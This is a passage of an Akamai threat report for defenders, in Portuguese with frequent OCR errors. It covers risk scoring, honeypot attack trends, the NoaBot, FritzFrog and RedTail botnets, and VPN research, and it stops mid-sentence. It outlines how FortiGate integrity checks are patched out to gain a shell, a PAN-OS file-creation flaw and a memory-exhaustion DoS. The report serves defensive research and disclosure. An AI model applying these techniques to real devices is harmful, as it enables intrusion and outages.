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Um relatério State of the Internet para os guardioes

Este ndo é o um relatério State of the Internet (SOTI) qualquer. Vocé notaréd algumas diferencas fundamentais
entre esta e nossas publicagdes anteriores. Isso porque, desta vez, estamos rompendo as barreiras para falar
diretamente com as pessoas que estdo na linha de frente: os guardides.

Reunimos as vérias equipes de pesquisa de seguranga da Akamai para compartilnar o conhecimento
adquirido com muito esforgo e testado em campo. Diversos grupos de profissionais de ciberseguranca estédo
representados: pesquisadores, profissionais de operagdes, arquitetos de produtos, cientistas de dados e
responsaveis por incidentes.

Nosso objetivo é simples: que vocé tenha as estratégias reais necessarias para proteger seus sistemas no
campo de batalha digital cada vez mais complexo de 2025. Este relatério contém informacgdes Uteis de
especialistas em ciberseguranga que combatem ameacas todos os dias. Estamos fornecendo inteligéncia
préatica que vocé pode usar agora mesmo.

Em um esforgo para tornar este documento Util para toda a comunidade de seguranga, mapeamos os
resultados de nossa pesquisa para a estrutura de seguranca aprofundada, uma expansao da metodologia de
defesa em profundidade.

Os nossos demais relatérios SOTI deste ano voltardo ao formato habitual.
Mas e este relatério? Ele foi feito para os guardides.
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Estrutura de seguranc¢a em profundidade

A seguranga em profundidade representa uma evolugao de 2019 do modelo tradicional de defesa em
profundidade, integrando a ciéncia e a anélise de dados as préaticas de ciberseguranca estabelecidas.
Embora a defesa em profundidade implemente varias camadas de seguranca para proteger os ativos, a
seguranga em profundidade aprimora essa base usando andlise para identificar ameagas ocultas e avaliar a
eficacia defensiva, geralmente detectando possiveis ataques antes que eles se materializem totalmente.

A seguranca em profundidade protege as organizagdes por meio de varias camadas sobrepostas de
defesa, reconhecendo que nenhuma medida de seguranca é infalivel. Essa estratégia abrange seguranga
fisica (bloqueios, vigilancia), arquitetura de rede (firewalls, detecgdo de invasdes), protegado de ponto de
extremidade (antivirus, criptografia), controles de acesso e seguranca do host (autenticagdo multifator,
permissdes baseadas em fungdes), protecdes de dados e gerenciamento de riscos (criptografia, backups)
e medidas administrativas (politicas de seguranga, treinamento de funcionarios).

Utilizamos esta estrutura para organizar a pesquisa neste relatério para resolver os problemas
enfrentados pelos guardides todos os dias. Para este SOTI, focamos nos seguintes elementos de
seguranga em profundidade:

O Gerenciamento de riscos identifica, avalia e atenua
sistematicamente as ameacas, priorizando as respostas
com base na probabilidade e no impacto de reduzir a
vulnerabilidade organizacional.

A Arquitetura de redes implementa a seguranga em
camadas por meio de firewalls, segmentagao e controles de
acesso para criar barreiras de defesa e conter possiveis
violagdes.

A Seguranca de hosts protege os dispositivos individuais
por meio de atualizagBes do sistema, antivirus, firewalls e
controles de acesso para impedir 0 acesso nao autorizado
e 0 malware nos pontos de extremidade.
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Gerenciamento deriscos

Estamos acompanhando como as ameagas a ciberseguranga e os riscos que elas
representam estao mudando. Ao monitorar de perto o trafego da Internet e
configurar sistemas especiais de detecgao, aprendemos muito sobre como o
cenario de ameagas esta evoluindo. Aprendemos ainda mais com projetos como a
criagdo de um processo interno de pontuagao de risco que foi posteriormente
implementado em nosso produto de segmentacao.

Em 2024, vimos de tudo, desde botnets basicas, como NoaBot, que usam senhas
roubadas, até grupos de hackers mais complexos, como o RedTail, que exploram
vulnerabilidades de software totalmente novas. O cenario de ciberameacas esta
ficando mais diversificado e sofisticado, tornando a defesa cada vez mais desafiadora.
Nesta se¢ao de gerenciamento de riscos da estrutura de seguranga em profundidade,

apresentaremos uma pesquisa sobre pontuagao de risco e a metamorfose do malware.

Pontuacao derisco

A pontuagao de risco tem sido um ponto de discérdia na comunidade de segurancga ha
anos. O conceito é amplamente aceito como Util, mas a sua execugdo real é muito
desafiadora. Um registro de risco é especifico para cada organizacdo, tornando quase
impossivel generalizar, muito menos replicar em outro lugar.

Os desafios na criagao de um registro de risco

Este ano, passamos pela dificil tarefa de criar um médulo de pontuagdo de seguranga
de rede na Akamai e aprendemos bastante. Por fim, descobrimos que maximizar o
impacto e minimizar os recursos é fundamental para uma metodologia eficaz de
pontuagado de risco. Essa ndo é uma tarefa simples. Ela envolve varios fatores
importantes, incluindo:

+ Definigao de risco. Como vocé define o risco associado a uma méaquina ou a um
aplicativo? Esta exposto a Internet? Contém patches? Quais portas estdo abertas?
Quantas maquinas podem acessa-10?

* Determinacao daimportancia do app. Como vocé determina aimporténcia
relativa do aplicativo? E um aplicativo critico? Ele tem véarias conexdes, o que
introduz riscos adicionais?

* Aplicagao de mitigacoes. Quais sdo as medidas necessdrias para mitigar esses
riscos? O que a segmentagao traz de beneficios e qual o seu impacto?

* Avaliagao da complexidade. Qual sera o grau de complexidade para alcangar esse
impacto?
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Dependendo do tamanho e da sofisticagdo do seu programa de cibersegurancga, sera
possivel dar o préximo passo que seja relevante para a sua organizagao. Para nossos
propdsitos, assim que conseguimos responder a essas perguntas para enfrentar esses
desafios, criamos uma ferramenta com uma lista de agdes priorizadas com base no
impacto, criticidade, esforco necessario ou uma combinagao desses fatores.

Quantificacao de riscos externa e internamente

O objetivo da pontuacao de seguranga é quantificar o risco que pode ser causado por
um invasor que invada a rede pelo lado de fora. Por exemplo, calculamos nosso risco
com base na probabilidade de comprometimento de ativos expostos externamente e na
probabilidade de movimento lateral entre ativos internos. A pontuagao de seguranga de
um ponto de extremidade pode ser vista como o nimero esperado de vetores de ataque
bem-sucedidos dimensionados pelo tamanho da rede.

A exposicao externa calculada de um ponto de extremidade depende da exposi¢ado de
cada um de seus servigos de escuta a Internet. Isso é determinado considerando-se a
extensdo da exposigdo (se é ilimitada ou confinada a um intervalo/dominio especifico) e
a possibilidade de exploragao do servigo ou protocolo. A capacidade de exploragao de
um servico depende de sua popularidade entre os invasores, que pode ser obtida em
publicagdes como as da CISA (Cybersecurity and Infrastructure Security Agency) ouem
mercados de exploragdo na dark web, ou da gravidade de uma vulnerabilidade
especifica da versao instalada em um determinado servidor.

A exposigdo interna calculada de um ponto de extremidade depende do nivel de
exposi¢cao de seus servigos individuais de escuta a outros pontos de extremidade
internos. Isso é determinado considerando-se a politica de rede, o risco externo
associado a cada ponto de extremidade e a possibilidade de exploragado do servigo ou
protocolo.

Como as mitigagoes sao selecionadas

Para cada ponto de extremidade, isolamos o impacto aditivo de outros pontos de
extremidade (aplicativo interno, sub-redes etc.) em sua pontuacédo final e, se necessario,
recomendamos adicionar regras de segmentacao especificas que limitem a exposi¢do
desse ponto de extremidade a esses outros pontos de extremidade, por exemplo,
isolando o impacto de um servigo especifico e limitando a exposi¢do desse servico com
base em dados em tempo real. Se forem identificadas vulnerabilidades para esse
servigo, esta recomendacao pode reduzir o risco e evitar o possivel tempo de inatividade
entre as corregdes.
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Dimensionamento e avaliacao

Uma das principais ameagas a seguranga de uma organizagao esta nos seus servidores
com acesso pela internet, bem como seus respectivos servicos. Eles oferecem aos
invasores que atacam a organizagdo uma maneira direta de comprometé-la. Ao projetar a
pontuacgdo de seguranga, queriamos ter certeza de que ela diferenciaria entre redes e/ou
servidores com pouca exposigao a Internet e aqueles que estao muito expostos. Para isso,
analisamos a distribuigao do nimero de servicos expostos a Internet por servidor (Figura 1).

Distribuicao, por servidor, do niimero de servigos que podem ser acessados pela Internet

100,0% 96,87%
A 0

10,0%
2,24%

10%
0,66%

Probabilidade

0]14%
0,1%
0,06%

0,02%

0 1 [2,3] [4,7] [8,15] [16, 31]

NUmero de servigos

Fig. 1: estatisticas de exposigédo a Internet usadas para moldar férmulas de pontuagédo

Podemos ver que, em um pequeno subconjunto de servidores que aceitam trafego da
Internet (3% do total de servidores), a maioria estd expondo apenas um servigo, em que
um servico é um processo exclusivo ou um nome de servigo do Windows. Apenas uma
fragcdo muito pequena deste subconjunto (0,22% de todos os servidores) estd expondo
quatro ou mais servigos a Internet. Sem a segmentacao adequada entre eles e a rede,
esses servidores fornecem um vetor de ataque de alto risco. Outra propriedade de
segurancga importante da rede é a exposicao interna, ou seja, a acessibilidade aos
servigcos de um servidor a partir do restante dos servidores dentro da rede
(independentemente do acesso a Internet).

Ao analisar essa exposicao em redes reais, podemos ver que a grande maioria dos
servicos (mais de 80%) é contatada por uma fragao muito pequena (menos de 1/10.000)
darede. Isso é chamado de razdo de exposicdo durante toda a pesquisa (Figura 2). Apenas
uma pequena fragao dos servidores (0,1%) deve ser acessada por grandes partes (10% ou
mais) da rede. Esses servidores de infraestrutura devem ser protegidos com cuidado
especial devido ao seu potencial impacto na seguranga da organizagao.
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Distribuicao da razao de exposicao dos servicos internos
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Fig. 2: anélise da razdo de exposi¢do

Como andlise final, exploramos a relagao entre a pontuagao de seguranga de umarede e o
progresso da configuracdo da politica de seguranca para seus servidores. Primeiro, calculamos
a pontuagao média de seguranca para diferentes redes em vérias ocasides em que sua
implantagdo estava estavel (sem grandes alteragdes no tamanho da rede ou no nimero de
agentes de protec¢ao). Em seguida, calculamos a proporgao de servidores para os quais um
modelo de segmentacgado tenha sido aplicado. Na grande maioria das redes, a configuragdo de
mais regras de segmentacdo melhorou sua segurancga (Figura 3). Isso reforga nossa confianca
na pontuacgao de seguranga e seu potencial para orientar as operagdes de seguranca.

Pontuacdes de seguranca e taxa de servidores protegidos
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Fig. 3: as pontuagbes de seguranga de redes reais sdo plotadas em relagédo a proporgéo de servidores
protegidos (as diferentes cores indicam diferentes ambientes de clientes)

Embora os profissionais de seguranca criem politicas para redes, eles geralmente precisam
de feedback sobre a eficacia das politicas existentes e de recomendacdes para as
melhorias futuras. Isso cria uma pontuagdo de risco baseada em evidéncias, ndo muito
diferente da analise de comportamento do usuério para a sua rede. Uma maneira de obter
esse feedback é usar um método, como a microssegmentagao, que da suporte a politicas
altamente granulares e pode gerar recomendacdes priorizadas que abordam os principais

fatores de risco para cada aplicativo de rede.
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Metamorfose de malware

A ciberseguranca esté ficando cada vez mais rigorosa. Os ataques cibernéticos agora sé@o
mais faceis de serem lancados por amadores, enquanto os grupos de hackers
especializados estdo se tornando ainda mais habilidosos. O aumento da inteligéncia
artificial esta piorando a situacdo, pois oferece aos invasores ferramentas mais poderosas e
mais simples de usar. Isso significa que as organizacdes estdo enfrentando um cenario de
ameagas digitais mais imprevisivel e perigoso do que nunca.

Principais servigcos abertos atacados

Embora os invasores possam usar dias zero e ataques direcionados para violar redes, ha
opg¢des muito mais faceis disponiveis para as botnets infectarem em escala. Hd uma
infinidade de servidores na Internet com portas abertas adequadas para movimentagcao
lateral e login, e uma quantidade significativa deles também tem credenciais previsiveis
que podem ser encontradas por meio do preenchimento de credencial. Relatamos varias
botnets ao longo de 2024, como NoaBot (uma variante da Mirai) e novas versdes das
botnets FritzFrog e RedTail.

A Figura 4 mostra uma consulta do Shodan para servidores SSH (Secure Socket Shell)
expostos a Internet, detectando milhdes de servidores que podem se tornar vitimas
desses ataques.

22472.219

Principais paises

Estados Unidos 6.241.486

Alemanha 2.084.734

China 1.987.890

Brasil 1227285

Argentina 899.565 ‘

Fig. 4: desde o inicio de 2025, mais de 20 milhbes de servidores com
SSH estdo abertos a Internet (fonte: Shodan.io)
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Como essa é uma ameaca continua, queriamos entender quais portas e servicos
comuns sao 0s mais visados, por isso recorremos aos nossos honeypots para
determinar a prioridade dos administradores de rede em 2025. A Figura 5 mostra as
tendéncias de incidentes que vimos ao longo de 2024 para as portas abertas mais
comuns em nossos honeypots.

Tendéncias de incidentes por protocolo ao longo do tempo (mensalmente)

Protocolo
FTP
HTTP

—— MSRPC

— MSsQL

— MYSQL

— NetBIOS

—— RDP

Tendéncias de incidentes

Janeiro Margo Maio Julho Setembro Novembro

Fig. 5: tendéncias de incidentes para cada porta/protocolo aberto comum em 2024

Podemos ver que os ataques aos protocolos SMB (Server Message Block), RDP
(Remote Desktop Protocol) e SSH foram os mais comuns durante quase todo o ano de
2024. Isso ndo é surpreendente de forma alguma, pois esses sdo 0s protocolos mais
faceis para o movimento lateral (ataques de um dia para SMB e EternalBlue).

A distribuicdo real de ataques nessas portas é mostrada na Figura 6.

Distribuicao de protocolos em incidentes de honeypot

scp RDP
13% 14,5%

2,7% NetBIOS

36% MYSQL

2,2% MSSQL

36% MSRPC

01% HTTP
09% FTP
01% WinRM

SMB 58,0% 129% SSH

Fig. 6: distribuicdo de ataques detectados em varios protocolos
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Mais sobre botnets

As botnets permitem que os cibercriminosos
automatizem suas campanhas de preenchimento de
credenciais. Ao direcionar uma botnet para acessar
continuamente paginas de login ou de conta com
credenciais adquiridas da dark web, os invasores
podem fazer centenas de milhares de tentativas de
golpe por hora com muito pouco esforco. Saiba mais.

Familias de botnets

O estudo de botnets como a NoaBot (uma variante da Mirai), a FritzFrog (baseada em
Golang) e o RedTail (um criptominerador) revela insights importantes sobre a evolugdo das
ciberameacas. Os recursos avangados da FritzFrog (malware sem arquivo, arquitetura de
ponto a ponto e direcionamento para redes internas) exemplificam sua crescente
sofisticagdo. Essa andlise ajuda as equipes de seguranca a desenvolver melhores defesas
contra ataques de botnet, que custam a economia global até USS 116 bilhdes por ano.

NoaBot

A botnet NoaBot tem a maioria dos recursos da botnet Mirai original (como um médulo
leitor e um mddulo invasor, um nome de processo oculto etc.), mas também difere da
original de varias maneiras. Mais notavelmente, o disseminador do malware é baseado em
SSH, e nao em Telnet, como na primeira implementacao da Mirai. Ele também tem uma
lista de credenciais diferente para usar em seus ataques de preenchimento e implementa
muitos médulos pds-violagao.

Além disso, ao contrério da Mirai, que normalmente é compilada com o GCC, a NoaBot é
compilada com uClibc, que parece mudar a forma como os mecanismos antivirus detectam o
malware. Embora outras variantes da Mirai sejam geralmente detectadas com uma assinatura da
Mirai, as assinaturas antivirus da NoaBot sdo de um scanner SSH ou um cavalo de troia genérico.

O malware também é compilado estaticamente e quaisquer simbolos sdo removidos dele.
Isso, além de ser uma compilagéo fora do padrao, tornou a engenharia reversa do malware
muito mais frustrante.

Amostras mais recentes da botnet também tinham sua cadeia obscurecida em vez de salva
como texto sem formatacao. Isso tornou mais dificil extrair detalhes do binario ou navegar
pelas partes da desassemblagem/descompilacdo, mas a codificagcdo em si era pouco
sofisticada e a engenharia simples de reverter.
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Por fim, vimos que os mesmos servidores de comando e controle (C2) que servem a
NoaBot também servem a uma botnet diferente: ao P2PInfect, um worm de replicacdo
automatica ponto a ponto escrito em Rust. Embora o P2PInfect tenha sido visto pela
primeira vez em julho de 2023, vimos a atividade da NoaBot desde janeiro de 2023, o
que significa que ela é anterior ao P2PInfect em cerca de seis meses (Figura 7).

Atividade trimestral de malware
Janeiro de 2023 a dezembro de 2024

Tendéncia de incidentes
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Fig. 7: atividade da NoaBot ao longo do tempo

Devido as semelhancgas técnicas, acreditamos que o mesmo agente de ameacga seja
responsavel por ambas as variantes. Pode ser que ele simplesmente tenha tentado

desenvolver seu préprio malware ou que as duas botnets tenham finalidades diferentes.

FritzFrog

A FritzFrog é uma botnet ponto-a-ponto sofisticada, baseada em Golang, compilada
para compatibilidade com maquinas baseadas em AMD e ARM. Originalmente,
descobrimos e informamos sobre elaem 2020, mas o malware é mantido ativamente e
evoluiu ao longo dos anos, adicionando e aprimorando recursos.

A mais recente adigao ao arsenal da FritzFrog, que detectamos em 2024, foi uma
exploragdo do Log4Shell que é uma evolugdo de seu método de infecgdo tradicional (ou
seja, forga bruta SSH). A vulnerabilidade de Log4Shell foi inicialmente identificada em
dezembro de 2021 e desencadeou um frenesi de aplicagdo de patches em todo o setor
que durou meses. Mesmo hoje, dois anos depois, hd muitos aplicativos expostos a
Internet que ainda sdo vulneraveis a essa exploragao (Figura 8).
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Carga Util do Log4Shell enviada por HTTP
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Fig. 8: processo de exploragdo Log4Shell da FritzFrog

Ativos vulneraveis expostos a Internet sdo um problema sério, mas a FritzFrog
representa um risco para um tipo adicional de ativos: hosts internos. Quando a
vulnerabilidade foi descoberta pela primeira vez, os aplicativos expostos a Internet
foram priorizados para a aplicagao de patches devido ao risco significativo de
comprometimento. As maquinas internas, que tinham menos probabilidade de serem
exploradas, eram frequentemente negligenciadas e permaneciam sem corregao,
uma circunstancia da qual a FritzFrog se aproveita. Como parte de sua rotina de
distribuicao, o malware tenta atingir todos os hosts na rede interna.

As variantes mais recentes também perceberam uma melhoria na descoberta de
vitimas. Além de randomizar os enderecos IP da Internet e tentar viola-los, o malware
também descobre novos alvos SSH analisando os logs e as configuragdes relacionados
a autenticacdo de suas vitimas, como os arquivos de log de autenticagao, os arquivos
authorized_hosts e o histérico do bash.

Eles também tinham uma implementagao de um dia de escalonamento de privilégios
incorporada ao malware (CVE-2021-4034). Essa vulnerabilidade no componente Linux
polkit foi divulgada pela Qualys em 2022 e poderia permitir o escalonamento de
privilégios em qualquer maquina Linux que o estivesse executando. Como o polkit é
instalado por padrao na maioria das distribui¢des do Linux, muitas maquinas sem
corregoes ainda estao vulneraveis a este CVE atualmente.

RedTail

Os agentes de ameacas por trds do malware de criptomineracédo RedTail, inicialmente
informado no inicio de 2024, incorporaram a recente vulnerabilidade do Palo Alto,
CVE-2024-3400 no PAN-OS, em seu kit de ferramentas.

Esse criptominerador foi observado pela primeira vez em dezembro de 2023 pela Cyber
Security Associates (CSA) e nomeado adequadamente como Redtail por causa de seu
nome de arquivo ".redtail" A CSA langou seu relatorio de analise em janeiro de 2024.
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Embora a CSA tenha informado que a botnet se propaga por meio da exploragao do
Log4Shell, nossos sensores detectaram o emprego de diferentes vulnerabilidades.
Nossa anélise inicial foi para o CVE-2024-3400, que é uma vulnerabilidade de criagédo
de arquivos arbitrarios. Especificamente, ao definir um valor especifico no cookie
SESSID, o PAN-OS é manipulado a criar um arquivo com o nome desse valor. Quando
combinado com uma técnica de caminho transversal, isso permite que o invasor
controle o nome do arquivo e o diretério no qual o arquivo estad armazenado.

Apds a infecado, a botnet baixa uma variante personalizada do criptominerador XMRig.
Em vez de usar ferramentas publicamente disponiveis para apenas gerar um minerador,
parece que os agentes de ameagcas por tréds do RedTail modificaram o cédigo-fonte e
compilaram o minerador eles mesmos, o que é evidente porque podemos ver que a
configuragcao de mineracgao foi incorporada a carga Util diretamente em um formato
criptografado para aumentar a seguranga da operagdo em uma tentativa de evitar a
detecgdo imediata.

O malware também emprega técnicas avangadas de evasao e persisténcia. Ele se ramifica
varias vezes para impedir a analise ao depurar seu proprio processo e interrompe qualquer
instancia do GNU Debugger (GDB) que encontrar. Para manter a persisténcia, o malware
também adiciona uma tarefa cron para sobreviver a uma reinicializagado do sistema.

Além do CVE do PAN-OS, vimos que esse agente de ameagas também estava visando
outros CVEs, incluindo o lvanti Connect Secure SSL-VPN CVE-2023-46805 e o CVE-
2024-21887, que foram divulgados no inicio de 2024. As vulnerabilidades adicionais
exploradas pelo invasor incluem:

* Oroteador TP-Link (CVE-2023-1389)
*  VMware Workspace ONE Access e Identity Manager (CVE-2022-22954)
« Execugdo remota de cédigo de ThinkPHP (CVE-2018-20062)

* Inclusdo de arquivo ThinkPHP e execugao remota de cédigo via pearcmd,
divulgada em 2022

Reliquias do passado

Além das botnets, também vimos muito trafego e incidentes de "reliquias" de malware,
como campanhas inativas que tinham autopropagadores semelhantes a worms, que
ainda passam de uma maquina para outra apesar de ndo terem um servidor C2 ativo
(Figura 9). Essas cargas Uteis de worms atacam nossos honeypots e executam alguns
comandos de criacdo de perfil, mas ndo lancam nenhuma outra carga Gtil nem entram em
contato com um servidor ativo. Essas reliquias do passado, desde os antigos worms
EternalBlue até antigas botnets como a yonnger2, que infectam bancos de dados SQL
desprotegidos, ndo representam muito risco, mas o fato de ainda estarem ativas significa
que ainda ha uma base sélida de maquinas vulneraveis que elas podem infectar.
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Atividade de campanha inativa em 2024 (mensal)

Tendéncia de incidentes
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Fig. 9: a atividade de auto propagadores de worms sem um servidor C2 ativo em 2024

A andlise também revelou a persisténcia de variantes de ransomware teoricamente
obsoletas que continuam a operar de forma oportunista, apesar de sua obsolescéncia
técnica. Esse "ransomware" (SQL Wipers; Figura 10) se conecta a bancos de dados SQL
inseguros por meio de pulverizagdo de senhas, descarta todos os dados e deixa uma
nova tabela com instrucdes para envio de bitcoin para obter os dados de volta (embora
ndo parega que os invasores realmente fagam backup desses dados antes de exclui-los,
portanto, recupera-los pode ser um sonho impossivel).

Atividade do SQL Wiper em 2024 (mensal)

Tendéncia de incidentes
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Fig. 10: atividade do SQL wiper imitando ransomware
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Como os invasores solicitam o pagamento em bitcoin e incluem o endereco da carteira na
mensagem para a vitima, podemos rastrear os pagamentos e parece que eles ganharam
pelo menos 2,6 BTC com esse esquema, o que equivale a aproximadamente USS 260 mil no
momento em que este relatdrio foi escrito.

Estratégias de mitigacao

Para mitigar esses tipos de ameacas de forma eficaz, as organizagdes podem utilizar
mapeamento e segmentagao de rede para identificar e isolar sistemas criticos, limitando o
acesso a rede desses sistemas. Isso dificulta o movimento lateral de qualquer malware em
caso de violagdo. A segmentagdo baseada em software também restringe as portas de
gerenciamento. A segmentacgdo pode ser usada para criar uma politica de nivel de processo
para reduzir a superficie de ataque sobre portas confidenciais. De preferéncia, as
organizagdes podem usar uma solugdo que permita a aplicagdo de politicas no nivel do
processo para determinar melhor quais processos devem ter permissao para se comunicar
por portas de gerenciamento confidenciais.

Deteccao das botnets

Nossa equipe desenvolveu ferramentas para ajudar a detectar duas dessas botnets:

* Um script de deteccgao para servidores SSH para identificar indicadores FritzFrog

* Umarquivo de configuracao para o Infection Monkey para testar ambientes contra o
disseminador SSH da NoaBot

Protecao adicional

Além disso, sua organizagdo pode usar as seguintes abordagens para se proteger contra
botnets:

* Adotar uma abordagem multicamadas a ciberseguranca para lidar com ameacgas em
diferentes estégios de ataque e em varios ambientes de ameaca

* Manter todos os softwares, firmwares e sistemas operacionais atualizados com os
patches de seguranga mais recentes

Manter backups off-line regulares dos dados criticos e estabelecer um
plano eficaz de recuperagado de desastres e um plano de respostaa g
incidentes 4

Realizar treinamento regular de conscientizagdo sobre
ciberseguranga para educar os funcionarios
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A seguranca de rede moderna nao tem a ver com construir muros, mas com oferecer . ': o " .
protecao inteligente e adaptavel. Os dias de designs de rede simples ficaram para tras. «

As redes atuais sao teias complexas de APls e protocolos avangados que criam
oportunidades e desafios para a ciberseguranca.

A interagao entre a computacao de edge e a infraestrutura central agora introduz
vérias camadas de risco potencial. A medida que as redes se tornam mais
interconectadas, sua defesa fica cada vez mais complicada.

Nesta secao de arquitetura de rede da estrutura de seguranga em profundidade, a
pesquisa aborda os riscos especificos de violagao de VPNs e cross-site scripting.

Estudo de pesquisa

Violacao de VPNs

VPNs sdo um 6timo exemplo de arquitetura de rede moderna em vigor. Sao essenciais para o
trabalho remoto, mas também sdo uma espada de dois gumes. Enquanto as VPNs mantém
as empresas funcionando, elas também criam novos pontos de entrada para possiveis
ataques cibernéticos. As empresas devem equilibrar cuidadosamente a conectividade com a
seguranca e entender que cada solugao tecnoldgica traz seus proprios riscos.

VPNs - o ponto de entrada para arede

2024 foi um ano dificil para a seguranga de VPNs. Parece que novos ataques foram informados
a cada duas semanas, incluindo alguns que foram ativamente explorados no Ivanti Connect
Secure e no PAN-OS da Palo Alto. Os requisitos arquitetdnicos inerentes dos dispositivos VPN,
que necessitam de conectividade persistente com a Internet, os tornam alvos particularmente
atraentes para agentes de ameagas sofisticadas que buscam a invasao da rede.

O projeto estrutural das VPNs, que exige uma interface de rede aberta, cria uma
vulnerabilidade intrinseca que os agentes mal-intencionados podem explorar
sistematicamente como um ponto de entrada potencial nos ecossistemas de rede
organizacional. Esse interesse (mal-intencionado) em dispositivos VPN é uma dor de
cabeca dupla para os guardides, ja que as VPNs geralmente vém em um instrumento de
caixa preta, de modo que os guardides geralmente ndo tém ideia do que estéd acontecendo
no dispositivo além do portal ou console de gerenciamento. Os invasores, por outro lado,
podem gastar tempo e esforgo para abrir a solugado, fazer engenharia reversa no servidor
VPN e encontrar as vulnerabilidades. Com esse conhecimento, iniciamos um projeto em
2024 para entender o impacto potencial de uma violagdo de VPN bem-sucedida.
Tradicionalmente, uma violagdo significa apenas uma entrada na rede organizacional, mas

o que acontece apds a entrada?
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Quebrando a seguranga de uma VPN

No passado, pesquisar um dispositivo de VPN significava compra-lo fisicamente, abrir
0 gabinete para acessar a placa e conectar-se a uma porta de depuragado ou
descarregar o firmware via flash. Hoje em dia, € comum encontrar dispositivos VPN
virtuais que podem ser carregados como maquinas virtuais (VMSs).

Normalmente, essas VMs consistem em uma imagem do carregador de inicializagao,
uma imagem do kernel e um sistema de arquivos. Vérias protecdes também estdo
disponiveis para esses componentes. Por exemplo, o carregador de inicializagdo e o
kernel do FortiGate fazem varias verificagcdes de integridade e assinatura durante toda
a sua execugao para garantir que ndo foram adulterados. Para implementar a
confidencialidade, o préprio sistema de arquivos também é protegido por criptografia
e é descriptografado somente enquanto o dispositivo estd em execugao.

Conforme nossa pesquisa, as 12 etapas a seguir sdo necessarias para transformar um
dispositivo virtual FortiGate em um ambiente de pesquisa com um shell remoto:

Extrair o disco virtual da solugéo

Descriptografar o sistema de arquivos raiz

Extrair o arquivo do bin principal

Aplicar um patch de integridade do /bin/init

Converter aimagem do kernel em um arquivo ELF para facilitar a anélise

Localizar o endereco de fgt_verify_initrd, para que ele possa receber o patch
durante sua execugao para desativar outras verificagdes de integridade

Adicionar versdes estéaticas do BusyBox e do GDB dentro de /bin/

Compilar um stub que cria um servidor Telnet e substituir /bin/smartctl por esse
stub

Empacotar a pasta /bin/ de volta em um arquivo
Reempacotar o sistema de arquivos raiz e criptografa-lo
Adicionar um preenchimento no final do sistema de arquivos criptografados

Substituir o sistema de arquivos empacotado na VM

Este processo esta ilustrado na Figura 11.
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Colocar o sistema de Extrair sistema de arquivos
arquivos compactado criptografado do disco do
modificado no disco virtual dispositivo virtual

]

Reempacotar o kernel e os Descriptografar o sistema de
binarios, criptografar novamente e arquivos e recuperar aimagem
o sistema de arquivos do kernel e os binarios principais

Adicionar servidor telnet
e depurador

Verificagbes de
integridade e de patches

-l [

Fig. 11: aplicagdo de patch do FortiGate para um ambiente de pesquisa

Como vocé pode ver, conseguir pesquisar o funcionamento interno de um dispositivo
de VPN é um processo longo e drduo, e ndo hd uma maneira realista de os guardides da
rede alocarem tanto tempo e tantos recursos para isso. Os agentes de ameagas, por
outro lado, podem se dar ao luxo de fazer tudo isso, especialmente quando estimulados
pela compensagao potencial da exploragao propriamente dita.

Engenharia reversa de um dispositivo VPN

Os dispositivos VPN tém muitos componentes dentro deles. Geralmente, esses
componentesincluem um servidor HTTP para o portal de administragdo, uma interface
de servidor para a prépria VPN, um shell de gerenciamento personalizado (para evitar
expor o sistema operacional diretamente aos usuarios) e outros elementos auxiliares.

Osinvasores geralmente tentam encontrar ataques de desvio de autenticagdo para se
conectar ao portal de gerenciamento ou ao shell. Alternativamente, buscam
vulnerabilidades de corrupgao de memdria na implementagao do protocolo VPN,
permitindo a execugdo de um shellcode (e, posteriormente, malware) diretamente no
dispositivo.

Quando analisamos o dispositivo VPN do FortiGate, observamos que seu servidor da

Web administrativo é baseado em Apache. Decidimos iniciar a engenharia reversa do .S
. . ~ s . P .
manipulador de autenticacdo da AP, ja que a parte interessante é contornar a LT ‘s -
. ~ . e ~ , . .
autenticaga@o. Como parte do tratamento de solicitagdes HT TP, ele usa um mddulo do beg s, %

Apache chamado biblioteca libapreq para processar os dados da solicitagdo do cliente.
E surpreendente que a biblioteca presente no binério seja a versdo mais antiga
disponivel (margo de 2000). A Fortinet utiliza o médulo quase exatamente como estava
ha 24 anos, com excec¢do de pequenas mudangas para otimizagao.
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Caca aos bugs (e localizagao de bugs)

Encontramos varios bugs nessa biblioteca, que divulgamos a Fortinet em junho de 2024
e foram corrigidos em 14 de janeiro de 2025.

Entre os bugs, encontramos uma gravagao fora dos limites (OOB), que nos permite
substituir um byte de memaria por um byte NULL, e um bug de cdpia errada que nos
permite enganar o servidor para que ele copie um buffer grande. Ambos os erros sdo
dificeis de explorar para uma execugao completa de cédigo remoto devido a restricoes
nos dados e na execugdo. Encontramos outra OOB que poderiamos usar para derrubar
o fork do servidor Web que processou nossa solicitagdo. Como as operacdes de fork
sao caras, o acionamento repetido do bug pode levar a um ataque de negagao de
servico (DoS). Também encontramos uma leitura OOB, que poderia levar a um
vazamento de meméria que pode conter credenciais de usuario.

O bug mais grave que encontramos no préprio cédigo da Fortinet causou um ataque de
DoS. Especificamos o carregamento do arquivo por meio dos dados da solicitagao. Isso
fez com que um novo arquivo fosse criado dentro da pasta /tmp. O servidor Web
rastreia esses arquivos usando uma lista vinculada que eles mantém na meméria, mas
ha um bug que faz com que o servidor exclua apenas o primeiro objeto da lista.
Portanto, especificar varios arquivos em uma Unica solicitagdo fez com que os arquivos
restantes fossem deixados na pasta /tmp. Como /tmp é um sistema de arquivos tmpfs,
os dados sdo armazenados na RAM. Isso levou a um caso de OOM (out of memory)
completo do sistema, o que fez com que o dispositivo ficasse travado (Figura 12).
Somente a reinicializagdo do dispositivo fez com que ele voltasse a ser usado
normalmente, e mesmo isso ndo é uma solugdo garantida. Em uma de nossas
tentativas, mesmo depois de reiniciar o dispositivo, a funcionalidade de rede nao
funcionava corretamente e ndo conseguimos usar ou nos conectarmos ao dispositivo.

RAM

El
=

’ \ Desejo carregar
esses arquivos

RAM
O
—l
O\ i G o o ] )
encerre a sessao .
. *r.
. . . " . ~ . . *s s
Fig. 12: preenchimento da RAM do dispositivo VPN com arquivos ndo excluidos, *e ., “‘

causando DoS devido a memédria insuficiente

Esses sdo apenas os bugs e CVEs que a Akamai encontrou. Muitos outros foram
encontrados no ano passado, incluindo bugs que levaram a um desvio
de autenticagd@o ou a uma execugdo remota de cédigo completa.
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Historicamente, os servidores VPN tém sido invadidos para atingir um Unico objetivo: o .. ..
acesso inicial. Com isso, os invasores comprometem o servidor VPN exposto a Internet e r @ o ¥ L e L
o utilizam para conquistar espaco na rede interna e realizar as invasoes. o a @ o e
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Embora essa abordagem seja muito eficaz, nos perguntamos se isso é tudo o que pode
ser feito. Afinal, comprometer um dispositivo de VPN para modificar seu firmware
